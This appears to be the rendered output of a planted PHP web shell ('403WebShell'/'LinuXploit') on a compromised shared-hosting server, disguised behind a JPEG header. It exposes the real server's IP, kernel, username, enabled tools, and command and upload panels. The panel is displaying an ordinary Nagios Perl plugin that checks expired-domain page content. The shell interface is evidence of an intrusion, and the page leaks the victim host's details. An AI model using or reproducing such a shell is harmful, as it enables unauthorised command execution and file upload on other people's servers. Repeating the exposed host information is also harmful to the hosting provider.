����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.119.0.207
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_expired_content
#!/usr/bin/env perl
use extreme;
use LWP::UserAgent;
use LWP::UserAgent::DNS::Hosts;
use File::Slurp qw(read_file);
use Net::DNS::Resolver;
use Getopt::Long;

binmode( STDOUT, 'encoding(UTF-8)' );

my ( $opt_p, $opt_r, $opt_t );

GetOptions(
    "h|help"   => \&help,
    "r|res=s"  => \$opt_r,
    "p|path=s" => \$opt_p,
    "t=i"      => \$opt_t
);

$opt_t //= 10;

return_error( 3, 'The path to index file or resolvers list not set up!' )
  if ( !$opt_p || !$opt_r );

my $domain   = 'google.com';
my $a_record = get_a_record( $domain, $opt_r );

return_error( 2, 'Cannot determine A-record for test domain!' )
  if !$a_record;

my $ua = LWP::UserAgent->new();
$ua->timeout($opt_t);

# overriding DNS resolving
LWP::UserAgent::DNS::Hosts->register_host(
  $domain => $a_record,
);
LWP::UserAgent::DNS::Hosts->enable_override;

my $response = $ua->get('http://' . $domain);

if ($response->is_success) {
    my $web_content = $response->decoded_content;
    -f $opt_p
      ? my $local_content = read_file( $opt_p, { binmode => ':utf8' } )
      : return_error( 2, 'The index page file does not exist!' );
    $web_content eq $local_content
      ? exit
      : return_error( '2', 'The content does not match each other!' );
}
else {
    return_error( 2, 'Something went wrong: ' . $response->status_line );
}

sub get_a_record {
    my ( $domain, $resolvers ) = @_;
    my @resolvers = split( ',', $resolvers );
    my $dns    = Net::DNS::Resolver->new;
    my @records;
    $dns->tcp_timeout(5);
    $dns->udp_timeout(5);
    $dns->nameservers(@resolvers);
    my $reply = $dns->query( $domain, 'A' );
    if ($reply) {
        foreach my $rr ( grep { $_->type eq 'A' } $reply->answer ) {
            return $rr->address;
        }
    }
    return;
}

sub return_error {
    my ( $status, $message ) = @_;
    say $message;
    exit $status;
}

sub help {
    print "Usage: $0 [ -p <path to index file> -r <resolvers list> [ -t <timeout> ] ]\n";
    print "Checks default page content for expired domain and matches it with existing index page on the server\n";
    print "  -p|--path\tpath to index file in Linux format\n";
    print "  -r|--res\tlist of resolvers separated by comma\n";
    print "  -t      \ttimeout for LWP::UserAgent query in seconds, default is 10\n";
    print "  -h|--help\tshow this message\n";
    print "  Example: $0 -p /var/www/expired.fozzy.com/index.html -r ns1-expired.fozzy.com,ns2-expired.fozzy.com -t 10\n";
    exit 3;
}

Youez - 2016 - github.com/yon3zu
LinuXploit